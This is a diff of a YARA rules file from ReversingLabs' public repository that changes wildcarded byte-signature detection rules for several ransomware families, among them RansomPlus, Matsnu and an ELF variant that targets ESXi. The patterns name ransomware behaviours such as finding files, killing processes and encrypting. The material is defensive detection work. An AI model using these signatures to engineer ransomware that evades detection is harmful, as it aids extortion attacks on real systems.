-            ?? ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? BB ?? ?? ?? ?? 4B 75 ?? BB ?? ?? ?? ?? 89 C9 4B
-            75 ?? 89 C9 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? BB ?? ?? ?? ?? 4B
-            75 ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 79 ?? E8 ??
-            ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 79 ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 4B
-            75 ?? 89 FF 90 BB ?? ?? ?? ?? 89 C9 4B 75 ?? 90 90 BB ?? ?? ?? ?? 4B 75 ?? BB ?? ??
-            ?? ?? 4B 75 ?? BB ?? ?? ?? ?? 4B 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            50 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 90 BB ?? ?? ?? ?? 89 D2 4B 75 ?? 6A ?? 68
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 85 F6 0F 84 ?? ?? ?? ?? BA ??
-            ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 90 89 C9 BB ?? ?? ?? ?? 89 FF 4B 75 ?? 68 ?? ?? ?? ??
-            6A ?? 56 E8 ?? ?? ?? ?? BB ?? ?? ?? ?? 89 D2 4B 75 ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 33
-            C0 A3 ?? ?? ?? ?? 64 8B 35 ?? ?? ?? ?? 89 35 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 ??
-            90 89 F6 90 BB ?? ?? ?? ?? 89 DB 4B 75 ?? 89 D2 89 C0 BB ?? ?? ?? ?? 89 D2 4B 75 ??
-            C7 05 ?? ?? ?? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 FF 4B 75 ?? 89 C0 0F 31 90 89 C7 0F
-            31 90 89 C0 29 F8 89 D2 89 DB 77 ?? 90 90 89 C9 89 F6 8B 3D ?? ?? ?? ?? 90 90 89 C9
-            89 F6 90 03 3D ?? ?? ?? ?? 90 90 89 C9 89 F6 FF D7 89 F6 90 90 BB ?? ?? ?? ?? 4B 75
-            ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? C3
+		$find_files_v2_p1 = {
+            41 57 4D 89 C7 41 56 49 89 FE 41 55 49 89 FD 41 54 55 53 89 CB 48 81 EC ?? ?? ?? ??
+            48 89 34 24 89 54 24 ?? 41 8B 55 ?? 49 83 C5 ?? 8D 82 ?? ?? ?? ?? F7 D2 21 D0 25 ??
+            ?? ?? ?? 74 ?? 89 C2 C1 EA ?? A9 ?? ?? ?? ?? 0F 44 C2 49 8D 55 ?? 4C 0F 44 EA 89 C6
+            40 00 C6 49 83 DD ?? 31 ED 4D 29 F5 74 ?? 49 8D 6D ?? 43 80 7C 2E ?? ?? 49 0F 45 ED
+            48 8D 44 24 ?? 41 89 DC 4C 89 F6 48 89 44 24 ?? 48 89 C2 BF ?? ?? ?? ?? 41 83 E4 ??
+            0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 00 83 F8
+            ?? 0F 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 45 31 DB 41 BC ?? ?? ?? ?? 48 8B 44 24 ?? F6 C3
+            ?? 0F 85 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 44 24 ?? 4C 89 7C 24 ?? 48 89 44 24 ?? 4D
+            85 FF 0F 84 ?? ?? ?? ?? 41 8B 47 ?? 8D 55 ?? 89 54 24 ?? 83 C0 ?? 89 44 24 ?? 89 44
+            24 ?? 41 8B 47 ?? 89 44 24 ?? 45 31 C0 C7 44 24 ?? ?? ?? ?? ?? 83 F9 ?? 0F 84 ?? ??
+            ?? ?? 89 D8 83 E0 ?? 89 44 24 ?? 75 ?? 44 88 5C 24 ?? 44 89 E2 48 8D 4C 24 ?? 4C 89
+            F7 48 8B 74 24 ?? 48 8B 04 24 44 89 44 24 ?? FF D0 44 8B 44 24 ?? 44 0F B6 5C 24 ??
+            85 C0 89 C2 75 ?? 4D 85 FF 0F 84 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 54 24 ?? EB ?? 0F
+            1F 44 00 ?? 4D 8B 3F 4D 85 FF 0F 84 ?? ?? ?? ?? 49 39 47 ?? 75 ?? 49 39 57 ?? 75 ??
+            31 D2 48 81 C4 ?? ?? ?? ?? 89 D0 5B 5D 41 5C 41 5D 41 5E 41 5F C3 66 90 E8 ?? ?? ??
+            ?? 85 C0 78 ?? 8B 44 24 ?? 25 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 3D ?? ??
+            ?? ?? 0F 84 ?? ?? ?? ?? 31 C9 45 31 DB 45 31 E4 48 8B 44 24 ?? F6 C3 ?? 0F 84 ?? ??
+            ?? ?? 4D 85 FF 0F 84 ?? ?? ?? ?? 49 39 47 ?? 75 ?? 48 89 44 24 ?? 48 8B 44 24 ?? 4C
         }
-		$find_files = {
-            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 33 C0 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ??
-            ?? ?? ?? 89 85 ?? ?? ?? ?? 89 45 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8B 45
-            ?? 8B 58 ?? 83 7B ?? ?? 75 ?? 8D 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 8D 55 ??
-            A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 73 ?? 6A ?? 8D 45 ?? 50 8B 43 ?? 50 E8 ?? ?? ?? ??
-            81 7D ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ??
-            50 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 43 ?? 89 85 ?? ?? ?? ?? C6 85 ?? ?? ??
-            ?? ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ??
-            ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C6 85 ??
-            ?? ?? ?? ?? 8B 45 ?? 89 85 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? C6 85
-            ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 95 ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B 8D ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 EB ?? 8B 43 ?? 89
-            85 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8B 45 ?? 89 85 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ??
-            89 B5 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 95 ?? ?? ?? ??
-            A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8B D8 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3
+		$find_files_v2_p2 = {
+            89 7C 24 ?? 48 89 44 24 ?? E9 ?? ?? ?? ?? 66 2E 0F 1F 84 00 ?? ?? 00 00 E8 ?? ?? ??
+            ?? 49 89 C4 8B 00 83 F8 ?? 0F 85 ?? ?? ?? ?? 48 8B 54 24 ?? 4C 89 F6 BF ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 45 31 DB 41 BC ?? ?? ?? ?? EB
+            ?? 0F 1F 00 8B 4C 24 ?? 85 C9 74 ?? 45 84 DB 0F 85 ?? ?? ?? ?? 8B 44 24 ?? 43 C6 04
+            2E ?? 85 C0 0F 84 ?? ?? ?? ?? 44 89 E2 48 8D 4C 24 ?? 48 8B 74 24 ?? 4C 89 F7 48 8B
+            04 24 FF D0 89 C2 E9 ?? ?? ?? ?? 90 31 F6 4C 89 F7 31 C0 44 88 5C 24 ?? E8 ?? ?? ??
+            ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 7C 24 ?? 44 0F B6 5C 24 ?? 44 8B 00 85 FF 79 ?? 41
+            83 F8 ?? BA ?? ?? ?? ?? 0F 94 C0 84 C0 B8 ?? ?? ?? ?? 44 0F 45 DA 44 0F 45 E0 8B 74
+            24 ?? 85 F6 0F 85 ?? ?? ?? ?? 8B 7C 24 ?? 44 88 5C 24 ?? 44 89 44 24 ?? E8 ?? ?? ??
+            ?? 44 0F B6 5C 24 ?? 44 8B 44 24 ?? E9 ?? ?? ?? ?? 0F 1F 00 48 89 44 24 ?? 48 8B 44
+            24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 89 44 24 ?? 8D 45 ?? C7 44 24 ?? ?? ?? ?? ?? 89
+            44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 48 85 ED 74 ?? 41 80 3C 2E ?? 48 89 E8 74 ?? E9 ??
+            ?? ?? ?? 0F 1F 44 00 ?? 41 80 3C 06 ?? 0F 85 ?? ?? ?? ?? 48 83 E8 ?? 75 ?? 31 D2 89
         }
-		$remote_connection = {
-            55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 FF 05 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 0F 85 ??
-            ?? ?? ?? 8D 83 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 66 8B 83
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 25 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ??
-            ?? ?? 8D 55 ?? 33 C0 8A 83 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? BA ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? 8B 08 FF 51 ?? 68 ?? ?? ?? ?? 66 8B 83
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 25 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ??
-            ?? ?? 8D 55 ?? 33 C0 8A 83 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? BA ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? 8B 08 FF 51 ?? 8D 45 ?? 8D 93 ?? ?? ??
-            ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B
-            55 ?? 8B 83 ?? ?? ?? ?? 8B 08 FF 51 ?? 8D 45 ?? 8D 93 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 83 ?? ?? ??
-            ?? 8B 08 FF 51 ?? 8D 55 ?? 0F B7 83 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? BA
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? 8B 08 FF 51 ?? 8D 55 ?? 0F B7
-            83 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55
-            ?? 8B 83 ?? ?? ?? ?? 8B 08 FF 51 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 6A ??
-            6A ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 81 FE ?? ?? ?? ?? 76 ?? E8 ?? ?? ?? ?? 66 89 B3 ??
-            ?? ?? ?? 66 C7 45 ?? ?? ?? 66 C7 45 ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 0F B7 C6 50 E8 ?? ?? ?? ?? 66 81 BB ?? ?? ?? ?? ?? ?? 75 ?? 8D 4D ?? 66 BA
-            ?? ?? 8B C3 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? 50 0F B7 83 ?? ??
-            ?? ?? 50 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? FF 0D ?? ?? ??
-            ?? 83 3D ?? ?? ?? ?? ?? 75 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8
+		$find_files_v2_p3 = {
+            54 24 ?? E9 ?? ?? ?? ?? 0F 1F 40 ?? 89 D8 B9 ?? ?? ?? ?? 41 BB ?? ?? ?? ?? 83 E0 ??
+            83 F8 ?? 45 19 E4 41 83 E4 ?? 41 83 C4 ?? E9 ?? ?? ?? ?? 0F 1F 44 00 ?? 8B 54 24 ??
+            85 D2 0F 88 ?? ?? ?? ?? 8B 7C 24 ?? E8 ?? ?? ?? ?? 49 89 C7 48 85 C0 0F 84 ?? ?? ??
+            ?? B8 ?? ?? ?? ?? 44 89 64 24 ?? 4C 29 E8 48 89 44 24 ?? 48 8D 44 24 ?? 48 89 44 24
+            ?? 8B 44 24 ?? 83 E8 ?? 89 44 24 ?? 4C 89 FF E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ??
+            ?? 80 78 ?? ?? 74 ?? 4C 8D 60 ?? 4C 89 E7 E8 ?? ?? ?? ?? 48 3B 44 24 ?? 0F 83 ?? ??
+            ?? ?? 41 C6 04 2E ?? 49 8D 7C 2E ?? 4C 89 E6 E8 ?? ?? ?? ?? 4C 8B 44 24 ?? 8B 54 24
+            ?? 89 D9 48 8B 34 24 4C 89 F7 E8 ?? ?? ?? ?? 85 C0 74 ?? 4C 89 FF 89 04 24 E8 ?? ??
+            ?? ?? 8B 14 24 E9 ?? ?? ?? ?? 66 90 80 78 ?? ?? 74 ?? 66 83 78 ?? ?? 75 ?? EB ?? 90
+            41 80 7C 06 ?? ?? 48 8D 70 ?? 89 C2 0F 84 ?? ?? ?? ?? 48 85 F6 0F 84 ?? ?? ?? ?? 41
+            80 7C 06 ?? ?? 48 8D 50 ?? 75 ?? E9 ?? ?? ?? ?? 0F 1F 40 ?? 48 89 C2 48 85 D2 0F 84
+            ?? ?? ?? ?? 41 80 7C 16 ?? ?? 48 8D 42 ?? 75 ?? E9 ?? ?? ?? ?? 0F 1F 00 45 85 E4 0F
+            84 ?? ?? ?? ?? 31 C9 45 31 DB 41 BC ?? ?? ?? ?? E9 ?? ?? ?? ?? 4C 89 FF 44 8B 64 24
+            ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 41 8B 04 24 E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 FF
+            C7 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? E9 ?? ?? ?? ?? BA ?? ?? ?? ?? E9 ??
+            ?? ?? ?? 48 89 F2 E9 ?? ?? ?? ?? 44 89 04 24 E8 ?? ?? ?? ?? 44 8B 04 24 BA ?? ?? ??
+            ?? 44 89 00 E9 ?? ?? ?? ?? 8B 7C 24 ?? E8 ?? ?? ?? ?? 83 CA ?? E9
         }
-		$remote_ftp_connection = {
-            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? 8B 45 ?? 8B 18 FF 53 ?? 8B 45 ?? 66
-            8B 80 ?? ?? ?? ?? 66 3D ?? ?? 7E ?? 66 3D ?? ?? 7D ?? 8B 45 ?? 66 83 B8 ?? ?? ?? ??
-            ?? 74 ?? 8B 5D ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? 8B 4D ?? B2 ?? A1 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 66 81 B8 ?? ?? ?? ?? ?? ?? 75 ?? B9
-            ?? ?? ?? ?? B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 88 ?? ?? ?? ?? 8D 45 ?? BA ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? 8B 45 ?? 8B 18 FF 53 ?? 8B 45 ?? 66 8B 80
-            ?? ?? ?? ?? 66 3D ?? ?? 7E ?? 66 3D ?? ?? 7D ?? 8B 45 ?? 66 83 B8 ?? ?? ?? ?? ?? 74
-            ?? 8B 5D ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? 8B 4D ?? B2 ?? A1 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 B8 ?? ?? ?? ?? ?? 74 ?? 8B 45 ?? 83 B8
-            ?? ?? ?? ?? ?? 75 ?? 8B 45 ?? 66 83 B8 ?? ?? ?? ?? ?? 74 ?? 8D 55 ?? 8B 5D ?? 8B 83
-            ?? ?? ?? ?? FF 93 ?? ?? ?? ?? 8B 45 ?? 83 B8 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 45
-            ?? 8A 80 ?? ?? ?? ?? 2C ?? 72 ?? 74 ?? FE C8 74 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B
-            45 ?? FF B0 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 45 ?? FF B0 ?? ?? ?? ?? 8D 45 ?? BA ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? 8B 45 ?? 8B 18 FF 53 ?? EB ?? 8B 45 ?? 8B 88
-            ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? 8B 45 ?? 8B 18
-            FF 53 ?? EB ?? 8B 45 ?? 8B 88 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B
-            55 ?? 8D 4D ?? 8B 45 ?? 8B 18 FF 53 ?? 8B 45 ?? 83 B8 ?? ?? ?? ?? ?? 74 ?? 8B 45 ??
-            80 B8 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 88 ?? ?? ?? ?? 8D 45 ?? BA ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 88 ?? ?? ??
-            ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? 8B 45 ?? 8B 18 FF 53 ??
-            8B 45 ?? 66 8B 80 ?? ?? ?? ?? 66 3D ?? ?? 7E ?? 66 3D ?? ?? 7D ?? 8B 45 ?? 66 83 B8
-            ?? ?? ?? ?? ?? 74 ?? 8B 5D ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? 8B 4D ??
-            B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 66 81 B8 ?? ?? ?? ?? ??
-            ?? 75 ?? B9 ?? ?? ?? ?? B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 88 ?? ?? ?? ?? 8D
-            45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? 8B 45 ?? 8B 18 FF 53 ?? 8B 45
-            ?? 66 8B 80 ?? ?? ?? ?? 66 3D ?? ?? 7E ?? 66 3D ?? ?? 7D ?? 8B 45 ?? 66 83 B8 ?? ??
-            ?? ?? ?? 74 ?? 8B 5D ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? 8B 4D ?? B2 ??
-            A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 66 83 B8 ?? ?? ?? ?? ?? 74 ??
-            8B 5D ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? FF 93
+		$init_key_v2 = {
+            48 85 FF 0F 84 ?? ?? ?? ?? 48 85 F6 0F 84 ?? ?? ?? ?? 41 56 41 55 41 54 55 48 89 F5
+            53 48 89 FB 48 81 EC ?? ?? ?? ?? 4C 8D 64 24 ?? 4C 89 E7 E8 ?? ?? ?? ?? 85 C0 75 ??
+            66 0F EF C0 48 8D 35 ?? ?? ?? ?? 48 8D 3D ?? ?? ?? ?? 49 89 E6 0F 29 04 24 0F 29 44
+            24 ?? E8 ?? ?? ?? ?? 49 89 C5 48 85 C0 74 ?? 4C 89 F7 48 89 C1 BA ?? ?? ?? ?? BE ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 EF E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 4C 89 F6 4C 89 E7 E8
+            ?? ?? ?? ?? 85 C0 74 ?? 31 C0 48 81 C4 ?? ?? ?? ?? 5B 5D 41 5C 41 5D 41 5E C3 66 2E
+            0F 1F 84 00 ?? ?? 00 00 31 C0 C3 0F 1F 44 00 ?? 48 89 EA 48 89 DE 4C 89 E7 E8 ?? ??
+            ?? ?? 85 C0 75 ?? 4C 89 E7 E8 ?? ?? ?? ?? 89 E8 EB
         }
 
 	condition:
-		uint16(0)==0x5A4D and $do_dll_stuff_and_create_thread and $find_files and $remote_connection and $remote_ftp_connection
+		uint32(0)==0x464C457F and ((( all of ($find_files_v1_p*)) and ( all of ($kill_processes_v1_p*)) and ($init_key_v1) and ( all of ($encrypt_files_v1_p*)) and ($shut_down_esxi_v1)) or (( all of ($find_files_v2_p*)) and ( all of ($kill_processes_v2_p*)) and ($init_key_v2) and ( all of ($encrypt_files_v2_p*))))
 }
-rule REVERSINGLABS_Win32_Ransomware_Ransomplus : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Matsnu : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects RansomPlus ransomware."
+		description = "Yara rule that detects Matsnu ransomware."
 		author = "ReversingLabs"
-		id = "ee96eab6-104d-560f-adae-6d5f0ba5d469"
+		id = "2f0bddd5-bd48-5d38-84f4-2dbccbe04a46"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.RansomPlus.yara#L1-L95"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "8ab18c6bcb939eac0e74f015dea773141b5086c5fcb4783666eeac1f395bc208"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Matsnu.yara#L1-L116"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "76ef1b4a292f27ccd904e80f0279a7a327f7399a21f2266ef3ea959e5339ffac"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -27754,96 +29306,116 @@ rule REVERSINGLABS_Win32_Ransomware_Ransomplus : TC_DETECTION MALICIOUS MALWARE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "RansomPlus"
+		tc_detection_name = "Matsnu"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files_1_0 = {
-            55 8B EC 83 E4 ?? 83 EC ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 EC ??
-            8B CC 6A ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? C6 01 ?? E8 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 8B CC 6A ?? 68 ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ??
-            ?? ?? ?? C6 01 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CC 6A ?? 68 ?? ?? ?? ?? C7 41 ??
-            ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C6 01 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CC 6A ??
-            68 ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C6 01 ?? E8 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 83 C4 ?? 8B E5 5D C2
+		$remote_connection = {
+            55 89 E5 81 EC ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? C6 45 ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5B 8D 83 ?? ?? ?? ?? 8B 00 6A ?? 50
+            FF 93 ?? ?? ?? ?? 8D B3 ?? ?? ?? ?? 8B 36 8D 7D ?? 57 56 FF 93 ?? ?? ?? ?? 85 C0 74
+            ?? 57 8D BB ?? ?? ?? ?? 89 07 5F EB ?? 8D B3 ?? ?? ?? ?? 8B 36 57 8D BB ?? ?? ?? ??
+            89 37 5F 68 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? EB ?? 8D BD ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A
+            ?? 57 FF 93 ?? ?? ?? ?? 8D B3 ?? ?? ?? ?? 8B 36 8D BD ?? ?? ?? ?? 68 ?? ?? ?? ?? 56
+            57 FF 93 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 50 57 FF 93 ?? ?? ?? ?? 85
+            C0 74 ?? C6 00 ?? 8D BD ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D B3 ?? ?? ?? ?? 8D 93 ?? ??
+            ?? ?? FF 75 ?? 52 51 56 57 FF 93 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 8D 4D ?? 51 57 E8 ??
+            ?? ?? ?? 85 C0 74 ?? 89 45 ?? 8D 4D ?? 51 50 E8 ?? ?? ?? ?? 85 C0 75 ?? FF 75 ?? FF
+            93 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 89 85 ?? ?? ?? ?? FF 75 ?? FF 93 ?? ?? ??
+            ?? 8B 45 ?? 8B 75 ?? 89 06 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 83 BD ??
+            ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
+            68 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? 8D B3 ?? ?? ?? ?? 8B 36 8D 83 ?? ?? ?? ?? 50 56 FF
+            93 ?? ?? ?? ?? 85 C0 74 ?? 40 57 8D BB ?? ?? ?? ?? 89 07 5F E9 ?? ?? ?? ?? 8D B3 ??
+            ?? ?? ?? 8B 36 57 8D BB ?? ?? ?? ?? 89 37 5F 68 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? E9 ??
+            ?? ?? ?? 8D 83 ?? ?? ?? ?? 8B 00 50 FF 93 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 9D ?? ??
+            ?? ?? C9 C2
         }
-		$find_files_1_1 = {
-            6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? 8D 8D ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 78 ?? ?? 72 ?? 8B 00 8D 8D ?? ?? ?? ?? 51 50 FF 15 ??
-            ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ?? 83 F9 ?? 72 ?? 8B 95 ?? ?? ?? ??
-            41 81 F9 ?? ?? ?? ?? 72 ?? F6 C2 ?? 74 ?? E8 ?? ?? ?? ?? 8B 42 ?? 3B C2 72 ?? E8 ??
-            ?? ?? ?? 2B D0 83 FA ?? 73 ?? E8 ?? ?? ?? ?? 83 FA ?? 76 ?? E8 ?? ?? ?? ?? 8B D0 52
-            E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
